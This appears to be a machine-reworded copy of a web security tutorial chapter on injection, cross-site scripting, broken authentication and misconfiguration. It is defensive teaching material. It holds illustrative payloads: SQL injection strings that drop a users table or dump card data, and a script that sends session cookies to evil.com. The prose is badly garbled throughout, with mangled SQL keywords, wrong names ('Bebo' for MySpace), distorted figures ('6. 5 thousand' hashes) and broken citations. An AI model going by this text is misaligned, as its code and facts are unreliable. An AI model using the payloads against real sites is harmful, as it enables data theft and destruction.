Threat Landscape and Normal Vulnerabilities

https://sites.google.com/view/howtouseaiinapplicationsd8e/can-ai-write-secure-code : Threat Landscape plus Common Vulnerabilities
Every single application operates in an atmosphere full associated with threats – malicious actors constantly seeking for weaknesses to exploit. Understanding the threat landscape is vital for defense. In this chapter, we'll survey the most common varieties of app vulnerabilities and assaults seen in the wild today. We will discuss how they work, provide practical samples of their écrasement, and introduce ideal practices to prevent these people. This will place the groundwork for later chapters, which can delve deeper directly into how to construct security in to the development lifecycle and specific defense.

Over the yrs, certain categories regarding vulnerabilities have come about as perennial problems, regularly appearing throughout security assessments plus breach reports. Sector resources like the OWASP Top 10 (for web applications) in addition to CWE Top twenty-five (common weaknesses enumeration) list these common suspects. Let's discover some of the major ones:

## Injection Attacks (SQL, Command Injection, and so forth. )
- **Description**: Injection flaws take place when an application takes untrusted type (often from the user) and nourishes it into an interpreter or command word in a way that alters the intended execution. The classic example is SQL Injection (SQLi) – where consumer input is concatenated into an SQL query without correct sanitization, allowing the user to provide their own SQL commands. Similarly, Order Injection involves injecting OS commands, LDAP Injection into LDAP queries, NoSQL Injection in NoSQL databases, and so in. Essentially, the application falls flat to distinguish files from code recommendations.

- **How it works**: Consider the simple login form that takes a good account information. If the particular server-side code naively constructs a question just like: `SELECT * THROUGH users WHERE username = 'alice' AND password = 'mypassword'; `, an attacker can input some thing like `username: alice' OR '1'='1` and even `password: anything`. The cake you produced SQL would become: `SELECT * COMING FROM users WHERE username = 'alice' OR '1'='1' AND username and password = 'anything'; `. The `'1'='1'` problem always true can make the query return all customers, effectively bypassing typically the password check. This kind of is a standard sort of SQL shot to force a new login.
More maliciously, an attacker may terminate the issue through adding `; LOWER TABLE users; --` to delete the users table (a destructive attack on integrity) or `; SELECT credit_card THROUGH users; --` to be able to dump sensitive info (a confidentiality breach).
- **Real-world impact**: SQL injection offers been behind a number of the largest data breaches on record. We mentioned the Heartland Payment Systems breach – in 08, attackers exploited a great SQL injection inside a web application to ultimately penetrate inner systems and steal millions of credit rating card numbers​
TWINGATE. COM
. Another situation: the TalkTalk 2015 breach in the united kingdom, wherever a teenager employed SQL injection to get into the personal data of over one hundred fifty, 000 customers. The particular subsequent investigation unveiled TalkTalk had left an obsolete web site with a recognized SQLi flaw on-line, and hadn't patched a database weakness from 2012​
ICO. ORG. UK
​
ICO. ORG. UK
. TalkTalk's CEO described it as the basic cyberattack; indeed, SQLi was well-understood for a ten years, yet the company's failure to sterilize inputs and revise software led to the serious incident – they were fined and suffered reputational loss.
These cases show injection episodes can compromise discretion (steal data), integrity (modify or delete data), and accessibility (if data is definitely wiped, service will be disrupted). Even nowadays, injection remains a new common attack vector. In fact, OWASP's 2021 Top Five still lists Shot (including SQL, NoSQL, command injection, etc. ) as a top risk (category A03: 2021)​
IMPERVA. APRESENTANDO
.
- **Defense**: The primary defense towards injection is input validation and outcome escaping – make sure that any untrusted information is treated mainly because pure data, never as code. Using prepared statements (parameterized queries) with bound variables is some sort of gold standard intended for SQL: it sets apart the SQL signal through the data beliefs, so even in case an user goes in a weird chain, it won't split the query structure. For example, utilizing a parameterized query within Java with JDBC, the previous logon query would end up being `SELECT * COMING FROM users WHERE login =? AND username and password =? `, and the `? ` placeholders are sure to user inputs securely (so `' OR PERHAPS '1'='1` would always be treated literally since an username, which often won't match any kind of real username, somewhat than part associated with SQL logic). Related approaches exist with regard to other interpreters.
In top of of which, whitelisting input approval can restrict what characters or format is allowed (e. g., an login might be restricted to alphanumeric), stopping several injection payloads from the front door​
IMPERVA. COM
. Furthermore, encoding output effectively (e. g. CODE encoding to prevent script injection) will be key, which we'll cover under XSS.
Developers should by no means directly include natural input in instructions. Secure frameworks and even ORM (Object-Relational Mapping) tools help by handling the question building for you. Finally, least benefit helps mitigate effects: the database account used by typically the app should have only necessary privileges – e. g. it should not include DROP TABLE protection under the law if not necessary, to prevent the injection from doing irreparable harm.

## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting identifies some sort of class of vulnerabilities where an app includes malicious intrigue in the context of a trusted website. Unlike injection straight into a server, XSS is about injecting in the content that will others see, generally inside a web page, causing victim users' browsers to perform attacker-supplied script. Right now there are a several types of XSS: Stored XSS (the malicious script is stored on the server, e. gary the gadget guy. inside a database, in addition to served to various other users), Reflected XSS (the script will be reflected off the hardware immediately in a reaction, often with a search query or mistake message), and DOM-based XSS (the weeknesses is in client-side JavaScript that insecurely manipulates the DOM).

- **How this works**: Imagine a message board where users can post remarks. If the app is not going to sanitize CODE tags in feedback, an attacker could post a remark like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any user who views that comment will inadvertently run the screenplay in their web browser. The script over would send the particular user's session cookie to the attacker's server (stealing their own session, hence permitting the attacker to impersonate them on the site – a confidentiality plus integrity breach).
In a reflected XSS scenario, maybe the site shows your input on an error web page: in the event you pass some sort of script in typically the URL along with the web-site echoes it, it will execute in the browser of anyone who clicked that malicious link.
Essentially, XSS turns the victim's browser into the unwitting accomplice.
-- **Real-world impact**: XSS can be quite serious, especially on highly trusted sites (like internet sites, web mail, banking portals). Some sort of famous early illustration was the Samy worm on Bebo in 2005. A person named Samy found out a stored XSS vulnerability in Bebo profiles. He constructed a worm: a script that, if any user seen his profile, that would add him or her as a buddy and copy the script to typically the viewer's own profile. That way, anyone else viewing their user profile got infected as well. Within just thirty hours of discharge, over one million users' profiles had run the worm's payload, making Samy among the fastest-spreading malware of all time​
DURANTE. WIKIPEDIA. ORG
. Typically the worm itself simply displayed the key phrase "but most of all, Samy is usually my hero" upon profiles, a relatively harmless prank​
DURANTE. WIKIPEDIA. ORG
. On the other hand, it had been a wake-up call: if a good XSS worm may add friends, that could just as easily make stolen exclusive messages, spread junk, or done additional malicious actions in behalf of consumers.  infrastructure as code  faced legitimate consequences for this particular stunt​
EN. WIKIPEDIA. ORG
.
In an additional scenario, XSS could be used to hijack accounts: intended for instance, a resembled XSS in a bank's site may be used via a phishing email that methods an user into clicking an WEB ADDRESS, which then executes a script in order to transfer funds or steal session tokens.
XSS vulnerabilities have been seen in sites like Twitter, Myspace (early days), and countless others – bug bounty programs commonly receive XSS reports. While many XSS bugs are associated with moderate severity (defaced UI, etc. ), some can be important if they permit administrative account takeover or deliver viruses to users.
instructions **Defense**: The cornerstone of XSS security is output development. Any user-supplied content that is displayed in a page have to be properly escaped/encoded so that this should not be interpreted while active script. For example, in the event that a consumer writes ` bad() ` in a review, the server have to store it then output it since `< script> bad()< /script> ` and so that it is found as harmless text, not as a good actual script. Modern web frameworks often provide template motors that automatically avoid variables, which prevents most reflected or perhaps stored XSS by default.
Another significant defense is Articles Security Policy (CSP) – a header that instructs browsers to execute scripts from certain sources. A well-configured CSP can mitigate the particular impact of XSS by blocking in-line scripts or outside scripts that aren't explicitly allowed, though CSP may be complex to set finished without affecting web page functionality.
For programmers, it's also essential to avoid practices love dynamically constructing HTML CODE with raw info or using `eval()` on user suggestions in JavaScript. Net applications can in addition sanitize input to be able to strip out disallowed tags or characteristics (though this really is difficult to get perfect). In summary: validate and sanitize any kind of HTML or JavaScript inputs, use context-appropriate escaping (HTML break free for HTML content, JavaScript escape regarding data injected directly into scripts, etc. ), and consider enabling browser-side defenses like CSP.

## Damaged Authentication and Period Administration
- **Description**: These vulnerabilities entail weaknesses in how users authenticate to the application or perhaps maintain their verified session. "Broken authentication" can mean a variety of issues: allowing fragile passwords, not protecting against brute force, declining to implement proper multi-factor authentication, or even exposing session IDs. "Session management" is closely related – once an customer is logged inside, the app typically uses a session cookie or expression to remember them; when that mechanism is definitely flawed (e. gary the gadget guy. predictable session IDs, not expiring lessons, not securing the particular cookie), attackers may well hijack other users' sessions.

- **How it works**: Single common example will be websites that made overly simple username and password requirements or had no protection towards trying many accounts. Attackers exploit this specific by using abilities stuffing (trying username/password pairs leaked from all other sites) or incredible force (trying many combinations). If right now there are no lockouts or rate limits, a great attacker can systematically guess credentials.
One other example: if the application's session sandwich (the bit of files that identifies the logged-in session) will be not marked with all the Secure flag (so it's sent above HTTP as well as HTTPS) or perhaps not marked HttpOnly (so it can easily be accessible in order to scripts), it would be stolen via network sniffing at or XSS. When an attacker has a valid period token (say, lost from an insecure Wi-Fi or via an XSS attack), they could impersonate of which user without seeking credentials.
There include also been logic flaws where, with regard to instance, the security password reset functionality is definitely weak – maybe it's susceptible to an attack where a great attacker can reset someone else's password by modifying guidelines (this crosses into insecure direct thing references / gain access to control too).
General, broken authentication features anything that enables an attacker to be able to either gain recommendations illicitly or avoid the login making use of some flaw.
rapid **Real-world impact**: We've all seen media of massive "credential dumps" – billions of username/password sets floating around through past breaches. Assailants take these in addition to try them in other services (because lots of people reuse passwords). This automated credential stuffing has brought to compromises involving high-profile accounts on various platforms.
Among the broken auth was your case in 2012 where LinkedIn endured a breach and even 6. 5 thousand password hashes (unsalted SHA-1) were leaked​
NEWS. SOPHOS. CONTENDO
​
NEWS. SOPHOS. APRESENTANDO
. The poor hashing meant opponents cracked most involving those passwords within hours​
NEWS. SOPHOS. COM
​
NEWS. SOPHOS. COM
. Even worse, a few yrs later it converted out the breach was actually much larger (over a hundred million accounts). Folks often reuse account details, so that breach had ripple effects across other websites. LinkedIn's failing was initially in cryptography (they didn't salt or even use a robust hash), which will be part of protecting authentication data.
Another standard incident type: treatment hijacking. For case, before most internet sites adopted HTTPS almost everywhere, attackers on a single system (like an open Wi-Fi) could sniff pastries and impersonate consumers – a risk popularized from the Firesheep tool in 2010, which usually let anyone eavesdrop on unencrypted classes for sites like Facebook. This forced web services to encrypt entire lessons, not just sign in pages.
There have also been cases of flawed multi-factor authentication implementations or login bypasses due to logic errors (e. grams., an API of which returns different communications for valid versus invalid usernames may allow an attacker to enumerate customers, or possibly a poorly implemented "remember me" symbol that's easy in order to forge). The outcomes of broken authentication are severe: unauthorized accessibility to user accounts, data breaches, personality theft, or unapproved transactions.
- **Defense**: Protecting authentication needs a multi-pronged approach:
- Enforce strong security password policies but within just reason. Current NIST guidelines recommend letting users to pick long passwords (up to 64 chars) and not requiring repeated changes unless there's indication of compromise​
JUMPCLOUD. COM
​
AUDITBOARD. COM
. Instead, check passwords against known breached username and password lists (to disallow "P@ssw0rd" and the like). Also motivate passphrases which can be less difficult to remember but hard to think.
- Implement multi-factor authentication (MFA). A new password alone is usually often not enough these kinds of days; providing an option (or requirement) for any second factor, such as an one-time code or perhaps a push notification, considerably reduces the hazard of account bargain even if passwords leak. Many main breaches could have been mitigated simply by MFA.
- Risk-free the session tokens. Use the Safe flag on pastries so they usually are only sent over HTTPS, HttpOnly thus they aren't accessible via JavaScript (mitigating some XSS impact), and consider SameSite to prevent all of them from being dispatched in CSRF assaults (more on CSRF later). Make treatment IDs long, random, and unpredictable (to prevent guessing).
instructions Avoid exposing period IDs in URLs, because they can be logged or leaked via referer headers. Always prefer pastries or authorization headers.
- Implement consideration lockout or throttling for login efforts. After say 5-10 failed attempts, possibly lock the take into account a period or perhaps increasingly delay responses. Utilize CAPTCHAs or perhaps other mechanisms in case automated attempts are usually detected. However, end up being mindful of denial-of-service – some web sites opt for much softer throttling to stay away from letting attackers locking mechanism out users simply by trying bad security passwords repeatedly.
- Period timeout and logout: Expire sessions following a reasonable period of inactivity, and absolutely invalidate session tokens on logout. It's surprising how a few apps in typically the past didn't properly invalidate server-side treatment records on logout, allowing tokens being re-used.
- Be aware of forgot password flows. Use secure bridal party or links by means of email, don't uncover whether an end user exists or not really (to prevent end user enumeration), and ensure those tokens terminate quickly.
Modern frames often handle the lot of this kind of for you personally, but misconfigurations are routine (e. gary the gadget guy., a developer may well accidentally disable a new security feature). Standard audits and testing (like using OWASP ZAP or other tools) can get issues like lacking secure flags or perhaps weak password plans.
Lastly, monitor authentication events. Unusual designs (like a single IP trying thousands of email usernames, or one bank account experiencing numerous failed logins) should raise alarms. This overlaps with intrusion recognition.
To emphasize, OWASP's 2021 list calls this category Identity and Authentication Disappointments (formerly "Broken Authentication") and highlights the particular importance of items like MFA, not employing default credentials, and implementing proper username and password handling​
IMPERVA. COM
. They note of which 90% of programs tested had troubles in this area in a few form, quite worrying.

## Security Misconfiguration
- **Description**: Misconfiguration isn't a single susceptability per se, yet a broad category of mistakes within configuring the software or its environment that lead to be able to insecurity. This could involve using arrears credentials or options, leaving unnecessary benefits enabled, misconfiguring security headers, or not solidifying the server. Basically, the software might be secure in principle, nevertheless the way it's deployed or set up opens a gap.

- **How this works**: Examples of misconfiguration:
- Leaving default admin accounts/passwords active. Many computer software packages or devices historically shipped with well-known defaults